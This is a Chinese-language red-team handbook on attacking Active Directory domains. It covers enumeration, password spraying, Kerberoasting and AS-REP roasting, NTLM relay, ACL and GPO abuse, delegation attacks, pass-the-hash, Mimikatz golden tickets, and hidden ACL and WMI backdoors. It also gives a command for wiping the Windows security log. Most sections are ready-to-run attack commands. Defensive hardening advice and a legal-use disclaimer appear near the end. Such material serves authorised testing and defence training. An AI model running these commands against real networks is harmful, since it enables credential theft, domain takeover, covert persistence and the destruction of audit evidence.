1. 域渗透实战手册:从零基础到高级攻防
在当今企业网络环境中,Active Directory(AD)域作为核心身份验证和访问控制框架,已成为攻防双方的主战场。无论是红队演练还是真实防御,掌握域渗透的全链路技术都至关重要。本手册将系统梳理域渗透的完整技术栈,涵盖信息收集、权限提升、横向移动、权限维持等关键阶段,并附赠独家实战心得和防御方案。
1.1 为什么需要系统化学习域渗透技术
AD域环境具有以下特点使其成为攻击者的主要目标:
- 集中化的身份认证体系(单点登录)
- 复杂的信任关系和权限继承
- 默认配置中存在大量攻击面
- 一旦突破就能获取整个网络的控制权
根据2023年企业安全报告显示,超过78%的内网渗透最终都会涉及AD域攻击。掌握这些技术不仅对攻击方至关重要,对防守方构建有效防御也同样关键。
2. 信息收集:绘制域环境地图
2.1 基础信息收集技巧
在获得初始立足点后,第一要务是全面了解域环境。以下是经过实战验证的信息收集命令:
powershell复制# 获取网络配置信息(重点关注DNS服务器)
ipconfig /all
# 获取系统详细信息(注意"Domain"字段)
systeminfo
# 确认域连接状态
net time /domain
# 查看当前会话信息
net config workstation
# 检查当前用户权限
whoami /all
提示:在真实环境中,建议将这些命令的输出重定向到文件,便于后续分析。例如:
ipconfig /all > network_info.txt
2.2 用户与组枚举技术
了解域内用户和组结构是后续攻击的基础。以下是几种高效的枚举方法:
powershell复制# 列出域内所有用户
net user /domain
# 查询特定用户详细信息
net user administrator /domain
# 列出域内所有组
net group /domain
# 枚举域管理员组成员
net group "Domain Admins" /domain
# 枚举企业管理员组(林根域特有)
net group "Enterprise Admins" /domain
在较新的Windows环境中,PowerShell提供了更强大的查询能力:
powershell复制# 使用PowerShell获取更详细的用户信息
Get-ADUser -Filter * -Properties * | Select-Object Name,SamAccountName,Enabled,LastLogonDate
2.3 计算机对象发现与定位
识别域内所有计算机是横向移动的前提。传统方法和现代方法各有优势:
cmd复制:: 传统net命令方式
net group "Domain Computers" /domain
powershell复制# PowerShell方式(需要AD模块)
Get-ADComputer -Filter * -Properties * | Select-Object Name,OperatingSystem,LastLogonDate
2.4 域信任关系分析
在复杂的多域环境中,信任关系往往成为攻击路径的关键环节:
cmd复制:: 使用nltest枚举信任关系
nltest /domain_trusts /all_trusts /v
powershell复制# PowerShell方式获取更详细的信任信息
Get-ADTrust -Filter * -Properties * | Select-Object Name,Direction,Source,Target
2.5 组策略信息提取
组策略(GPO)是域环境中的重要管理机制,也是常见攻击面:
cmd复制:: 生成组策略结果报告
gpresult /H gpreport.html
powershell复制# 枚举所有GPO对象
Get-GPO -All | Select-Object DisplayName,Id,GpoStatus
3. 权限获取:突破初始立足点
3.1 密码喷洒攻击实战
密码喷洒(Password Spraying)是一种低风险的用户凭据猜测技术:
powershell复制# 使用DomainPasswordSpray工具示例
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Password "Spring2023!" -Domain contoso.com
注意事项:
- 设置合理的尝试间隔(建议30分钟以上)
- 优先尝试过期策略要求的密码格式(如"季节+年份")
- 避免使用常见密码字典,容易被检测
3.2 Kerberos相关攻击手法
3.2.1 AS-REP Roasting
针对未启用预认证的账户:
powershell复制# 使用Rubeus进行AS-REP Roasting
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
3.2.2 Kerberoasting
针对服务账户的攻击:
powershell复制# 使用PowerView进行Kerberoasting
Invoke-Kerberoast -OutputFormat HashCat | Select-Object Hash | Out-File -FilePath kerberoast_hashes.txt
3.3 NTLM Relay攻击详解
NTLM Relay是内网中极具威胁的攻击方式,典型攻击流程:
- 使用Responder或ntlmrelayx设置中继服务器
- 诱使高权限主机向攻击者机器发起认证
- 将认证信息中继到目标服务(如LDAP)
bash复制# ntlmrelayx.py基本用法
python ntlmrelayx.py -t ldap://dc01.contoso.com -smb2support
防御建议:
- 在所有域控制器上启用LDAP签名和通道绑定
- 禁用不必要的NTLM认证
4. 权限提升:从普通用户到特权账户
4.1 ACL滥用提权技术
Active Directory中的访问控制列表(ACL)是权限提升的重要途径:
powershell复制# 检查域对象的ACL
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs
# 添加恶意ACL(示例)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "普通用户" -Rights All
4.2 组策略对象滥用
通过修改GPO实现权限提升:
powershell复制# 查找可写的GPO
Get-DomainGPO | Get-DomainGPOLocalGroup | Where-Object { $_.GroupMembers -match "Domain Admins" }
# 使用SharpGPOAbuse添加管理员
.\SharpGPOAbuse.exe --AddLocalAdmin --User "攻击者" --GPO "Default Domain Policy"
4.3 Kerberos委派攻击
4.3.1 非约束委派利用
powershell复制# 查找配置非约束委派的计算机
Get-DomainComputer -Unconstrained | Select-Object Name
4.3.2 基于资源的约束委派(RBCD)
powershell复制# 设置RBCD
Set-DomainObject -Identity "目标计算机" -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SD}
5. 横向移动:在域内主机间穿行
5.1 Pass The Hash技术
bash复制# 使用crackmapexec进行PtH
crackmapexec smb 192.168.1.0/24 -u administrator -H 32ED87BDB5FDC5E9CBA88547376818D4
5.2 远程执行技术比较
| 技术 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| WMI | 大部分Windows主机 | 隐蔽性高 | 需要135端口 |
| WinRM | Win10+服务器 | 原生支持 | 需要5985/5986 |
| SMB | 所有Windows主机 | 兼容性好 | 容易被检测 |
6. 权限维持:高级持久化技术
6.1 黄金票据攻击
powershell复制# 使用Mimikatz生成黄金票据
kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:hash /ptt
关键点:
- 需要krbtgt账户的NTLM哈希
- 有效期为10年(默认)
- 不受密码更改影响
6.2 隐蔽后门技术
6.2.1 ACL后门
powershell复制# 在域根对象上设置后门ACL
Add-DomainObjectAcl -TargetSearchBase "DC=contoso,DC=com" -PrincipalIdentity "普通用户" -Rights All
6.2.2 WMI事件订阅
powershell复制# 创建持久化WMI事件过滤器
$FilterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'PersistenceFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
7. 痕迹清理与防御建议
7.1 日志清理注意事项
cmd复制:: 清除安全日志(谨慎使用)
wevtutil cl Security
重要提醒:
- 域环境通常配置日志转发,本地删除无效
- 清理操作本身会产生日志
- 建议优先考虑隐蔽而非删除
7.2 企业级防御方案
-
认证加固:
- 部署LAPS管理本地管理员密码
- 强制使用Kerberos AES加密
- 实施多因素认证(MFA)
-
权限管控:
- 定期审计特权组成员
- 实施最小权限原则
- 监控ACL变更
-
监控检测:
- 启用PowerShell脚本块日志
- 收集和分析Kerberos事件(4768,4769等)
- 部署高级威胁检测系统(如Microsoft Defender for Identity)
8. 实战心得与进阶建议
在多年的红队演练中,我总结了以下宝贵经验:
-
信息收集决定攻击广度:
- 不要满足于基本域信息
- 建立完整的域关系图谱
- 记录所有发现的服务和应用程序
-
权限提升考验技术深度:
- 多角度尝试不同的提权路径
- 重点关注ACL和委派配置
- 善用PowerView等工具进行深度分析
-
横向移动需要耐心:
- 避免大规模扫描引发警报
- 优先选择隐蔽的移动方式(如WinRM)
- 建立多个持久化节点
-
权限维持讲究平衡:
- 后门要足够隐蔽但又要可靠
- 考虑部署多个不同类型的后门
- 定期验证后门可用性
对于想要深入学习的朋友,我建议:
- 搭建实验环境(可使用Windows Server评估版)
- 从基础命令开始,逐步过渡到自动化工具
- 参加CTF比赛和红蓝对抗演练
- 持续关注最新的漏洞和攻击技术(如AD CS相关漏洞)
最后提醒:本文所有技术仅限合法授权测试使用,未经授权对他人系统进行测试属于违法行为。希望这些技术能帮助企业更好地防御AD域安全威胁。